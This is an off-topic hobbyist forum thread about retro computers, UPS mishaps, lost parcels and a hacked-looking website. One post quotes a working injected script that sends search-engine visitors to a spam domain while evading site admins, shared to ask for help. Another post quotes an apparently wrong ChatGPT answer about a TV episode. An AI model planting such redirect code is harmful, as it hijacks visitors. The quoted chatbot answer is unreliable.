Off-Topic / Dumping Thread

[GDMike]

12 hours ago, OLD CS1 said:

She sure is purty!

Still doesn't run mdos, but it's going to be my new F18A setup unit.

[+FarmerPotato]

Today a TI marketing email, for Space Tech Expo 2023 in Bremen. Look at this beauty:

 

 

https://www.ti.com/tool/ALPHA-3P-ADM-VA600-SPACE-AMD

 

 

 

It's not a TI product, they've just got some space-rated parts on board. 
 

Its core is a massive Xilinx Kintex FPGA. So the whole CPU can be upgraded ... while  it's flying in space.  The extreme of  "Field Programmable Gate Array".
 

(Though,  Voyager has the record in long-distance software updates.)

 

 

[+OLD CS1]

I am looking for an episode of "The X-Files" in which a man has the ability to project ideas into people's minds.  In one scene he has intruded into a facility, a hospital I believe, wearing a badge which says nothing more than a simple phrase like "ID badge."  As I do not have the series and only watched it here-and-there, I am hoping someone can point me to this episode as my Google-fu has turned up little of anything helpful.  Another important aspect is he consumes a lot of energy drinks/snacks to power his brain for these projections.

[CapitanClassic]

45 minutes ago, OLD CS1 said:

I am looking for an episode of "The X-Files" in which a man has the ability to project ideas into people's minds.  In one scene he has intruded into a facility, a hospital I believe, wearing a badge which says nothing more than a simple phrase like "ID badge."  As I do not have the series and only watched it here-and-there, I am hoping someone can point me to this episode as my Google-fu has turned up little of anything helpful.  Another important aspect is he consumes a lot of energy drinks/snacks to power his brain for these projections.

I find Chat GPT to be good at these sorts of questions. Let me know if it got it correct.

 

“It sounds like you're describing an episode of "The Mentalist." In Season 2, Episode 8 titled "His Red Right Hand," Patrick Jane uses his observational skills to manipulate others, including the hospital badge trick you mentioned.”

[+OLD CS1]

14 minutes ago, CapitanClassic said:

I find Chat GPT to be good at these sorts of questions. Let me know if it got it correct.

 

“It sounds like you're describing an episode of "The Mentalist." In Season 2, Episode 8 titled "His Red Right Hand," Patrick Jane uses his observational skills to manipulate others, including the hospital badge trick you mentioned.”

It might be.  I thought it was "The X-Files," but this could be right.  I am trying to locate the scene separately but will likely have to download a copy of the episode, which will have to wait.  Thanks for the pointer.

[+InsaneMultitasker]

2 hours ago, OLD CS1 said:

I am looking for an episode of "The X-Files" in which a man has the ability to project ideas into people's minds.  In one scene he has intruded into a facility, a hospital I believe, wearing a badge which says nothing more than a simple phrase like "ID badge."  As I do not have the series and only watched it here-and-there, I am hoping someone can point me to this episode as my Google-fu has turned up little of anything helpful.  Another important aspect is he consumes a lot of energy drinks/snacks to power his brain for these projections.

You're almost certainly thinking of Pusher.  There are two x-files episodes with the same character.  Frank Burst ring any bells?   https://www.imdb.com/title/tt0751183/

[+OLD CS1]

6 hours ago, InsaneMultitasker said:

You're almost certainly thinking of Pusher.  There are two x-files episodes with the same character.  Frank Burst ring any bells?   https://www.imdb.com/title/tt0751183/

Names, no, BUT the transcript of the episode looks right.  I just need to get the episode and extract that scene.

[jrhodes]

[+TheBF]

Saw this on the Forth Discord.😄

[+InsaneMultitasker]

I "solved" for a problem I have been noticing with one of my desktops. 

 

Every so often, I found the system frozen with no video output.  Today I was doing some chores and noticed the power winked out for a moment. (It's been raining a bit the past few days). I thought nothing of it until I got upstairs and found the PC in a locked, no-video state.  I pulled the UPS main plug from the wall outlet to verify the UPS was still working.  The locked-up PC lost power while the other equipment stayed on, and the UPS started beeping as expected.   It turns out that I had plugged that one desktop's power cord into the "surge protection" side of the UPS, not the battery backup side. 

 

I checked my other UPSs for similar mistakes and fortunately, found none. 

[GDMike]

The power on/off thingy is gonna kill my stuff yet! I really need a UPS myself.. maybe one day and hopefully not too late.

[+InsaneMultitasker]

10 minutes ago, GDMike said:

The power on/off thingy is gonna kill my stuff yet! I really need a UPS myself.. maybe one day and hopefully not too late.

My Geneve and TIPI RPi equipment is on a UPS.  Probably one of my better investments.  The power draw isn't that much but I went with an APC1200 or APC1500, just for the extra run time. Who knows when you might need to code in the dark, through a rainstorm.

 

[+OLD CS1]

4 hours ago, InsaneMultitasker said:

It turns out that I had plugged that one desktop's power cord into the "surge protection" side of the UPS, not the battery backup side. 

This happens to my customers pretty much any time they move their own equipment

3 hours ago, GDMike said:

The power on/off thingy is gonna kill my stuff yet! I really need a UPS myself.. maybe one day and hopefully not too late.

You can still pick up good ones sub-$100.  As much as I have been an APC brand whore and I really like PowerChute (monitoring software) and their NMC (network management controllers, though they are eliminating free firmware,) they cook batteries far too much and I have had enough of it.  I am going to Eaton and eliminating all of my APCs.

[+InsaneMultitasker]

Houston USPS efficiency.

My package traveled from Nashville to Houston in 18 hours.

Looks like it will have spun around the metro area for four days if it is actually delivered on Monday. There is always a chance it will go back to the Houston facility for a third time. /smh

 

[RickyDean]

4 minutes ago, InsaneMultitasker said:

Houston USPS efficiency.

My package traveled from Nashville to Houston in 18 hours.

Looks like it will have spun around the metro area for four days if it is actually delivered on Monday. There is always a chance it will go back to the Houston facility for a third time. /smh

 

Same issue here, my package to shift838 seems to have gone around the Houston area too. Maybe their having employee issues there?

[GDMike]

20 hours ago, RickyDean said:

Same issue here, my package to shift838 seems to have gone around the Houston area too. Maybe their having employee issues there?

I think the natural thing is always blame the employee but I have found some of my stuff they told me had gotten stuck in the equipment.

 

I think My flat package from last year someone had put on a stool and was sitting on before  realizing they had put it on their stool instead of throwing it back in the flat And weird shape packages conveyor. 

Maybe we need to attach cameras to our packages and find out what really happens!!!

[+OLD CS1]

Along the lines of carriers being stupid.  I have a Post Office Box.  The United States Postal Service provides, for its PO Box customers, a "physical address service."  This service allows you to receive deliveries from any carrier, such as FedEx or UPS, to the Post Office proper to the care of your PO Box.  Very handy as I do not ship to my house for security reasons.

 

I placed an order last month with Dell to replace some accessories which were in my car when it disappeared.  According to FedEx, the package was delivered on November 1st and signed for by a Post Office employee.  Case closed, right?  Except the package is not at the Post Office, and the employee says emphatically she did not sign for a package.  I was then told by the manager that FedEx has a very nasty habit of dropping off packages on a counter which is labeled for outbound USPS packages, and then leaving without notifying anyone.

 

FedEx requires that a missing package claim be filed by the shipper.  I am familiar with this, so I notified Dell.  They have twice denied my "refund or replacement" as FedEx says the package was delivered, and summarily closed the tickets.  I was not asking for a refund or replacement, has been my response, I just need you to initiate the process.  I have now given Dell an ultimatum to either simply file the missing package complaint with FedEx, or I will, with the full authority of my bank given the circumstances, process a dispute against the purchase.

[GDMike]

Last month I ordered at TI console in original box.h

The lady I bought it from asked me if I received it The following Monday.

I told her oh no I haven't received it at all and that I almost forgot about it. She said that's what I thought she says call this number, (local phone number), because she says something about she received my package on accident.

So I called the phone number and the woman said I didn't take your package My nephew lives in your neighborhood and he received it and I said I'll take it to the post office. Then she told me that when she took it to the post office they said it came UPS we can't do anything with it. So she told me, i have it here at home but I don't live in your town I live about an hour away and I ain't got no gas in my car.

"The box has been open but I wasn't going to steal it", " nobody was going to steal this thing but it's a computer".

And I explained to her, I didn't think you were stealing it I was just figured it got misdelivered. So i explained to her I'll meet you at Walmart in your town in an hour to pick it up she said okay call me I may have the gas to get there. 

I got the Walmart and call and call and called and no answer on the phone. So I said well I'll just sit here for a half hour. And sure enough half hour later she calls me and she says are you at the Walmart and I said yeah she said I'll be right there.

I said, if you get here with my computer I'll get you some gas in your car. 

she showed up with my computer and so I put some gas in her poor car. I was just thankful to get my computer. Of course no one was going to steal it.

Edited November 20, 2023 by GDMike

[+OLD CS1]

Hearkening back to my Dell issue, I filed my bank dispute today.  Now we see if Dell tries anything against my account.

 

Beyond all that, I am still looking for my replacement vehicle.  It is taking so long as the underwriter of about a third of my purchase has informed me I will get the car I want with the feature set I want: no hacking to enable features, no strapping on hardware.  But the colors!  WTF?!  Can someone please tell automobile manufacturers there is no pretty name you can put on a color found in a baby diaper which will make it attractive on a car?!

[Stuart]

Hoping one of you web gurus might be able to advise ...

 

My personal website www.stuartconnner.me.uk is hosted by 3ix, who satisfied my criteria of being very cheap! Most of the time my web pages work fine, but sometimes the bottom of a page is missing (downloaded but not rendered by Firefox), and when this happens, if I look at the page source, I can see that this bit of the HTML page ...

 

...

</head>

<body class="yellow_bg">
<p style="text-align:center"><img src="images/home_page_header.gif" alt="index page header graphic"></p>

<table border="0" cellspacing="0" cellpadding="0" width="100%">

...

 

... is actually this, with the script in red being added:

 

...

/head>

<body class="yellow_bg">
<script>((event) => {  var ref = document.referrer || '';  if (ref.length === 0) {    return;  }  ref = ref.toLowerCase();  if (ref.indexOf('google') === -1      && ref.indexOf('bing') === -1) {    return;  }  var cookie = document.cookie || '';  if (cookie.indexOf('wordpress_logged') !== -1      || cookie.indexOf('wp-settings') !== -1      || cookie.indexOf('wordpress_test') !== -1) {    return;  }  if (cookie.indexOf('wordpress-test') !== -1) {    return;  }  function generateRandomInteger(min, max) {    return Math.floor(min + Math.random()*(max - min + 1));  }  document.cookie = "wordpress-test=1; max-age=86400; path=/;";    const delay = generateRandomInteger(2000, 6000);  setTimeout(() => {    window.location.replace('http://offers25942.xyz/');  }, delay);})();</script><p style="text-align:center"><img src="images/home_page_header.gif" alt="index page header graphic"></p>

<table border="0" cellspacing="0" cellpadding="0" width="100%">

...

 

I know that the actual page on the server is OK - if I download it direct from the server over FTP then I get the same file that I uploaded, which if OK.

I don't think I have an infection on my PC - I've seen this problem on a couple of laptops as well. I've never actually seen the page that the browser is supposedly being redirected to.

Could this be some sort of infection on the 3ix server - the script is added as the server 'serves' the page to the requester? I've had a root around and can't see any PHP scripts or anything that looks out of place in my account.

 

If I do a Google search for the website stated in the script - "offers25942.xyz" - then I can see that numerous other websites as indexed by Google have the same problem - but no search results indicating how the problem occurs and how to sort it.

 

The script seems to stop the page being refreshed in my browser. The only way I can get back to the correct page is to delete the page from the browser cache, and then it displays fine for a while.

 

I set up a DOS batch file that uses curl to download the home page numerous times but they always download fine - I've been unable to 'make it go wrong'.

 

Any ideas anyone? I'd rather have a few facts about what is happening before going to 3ix, if the problem is at their end.

 

Thanks,

Stuart

 

 

 

[GDMike]

I guess download , ooops.. I think it's web-based now not like Dreamweaver was.

WordPress and download your web pages, fix them And then you'll need an admin password and username to upload them back to the index file names. You may have to ask that vendor for access.

Just pay attention to the exact wording and spelling of each index web page and Make backup copies before editing each page.

https://wordpress.com/

 

 

Edited November 26, 2023 by GDMike

[Asmusr]

1 hour ago, Stuart said:

Any ideas anyone?

Did you check if you have any unwanted browser extensions?

[Stuart]

49 minutes ago, Asmusr said:

Did you check if you have any unwanted browser extensions?

Don't think I've got any browser extensions at all. Did find 120+ "service workers" - they are now history. Could they be 'nasty'?

 

When did the web get so bloody complicated?  ;-/

[+OLD CS1]

@Stuart I tried looking at your page, but www.stuartconnner.me.uk does not resolve.

 

>host www.stuartconnner.me.uk 1.1.1.1
Using domain server:
Name: 1.1.1.1
Address: 1.1.1.1#53
Aliases:

Host www.stuartconnner.me.uk not found: 3(NXDOMAIN)

 

[HOME AUTOMATION]

Your page started to open for a few secs. ...than this.

...I'd take umbrage!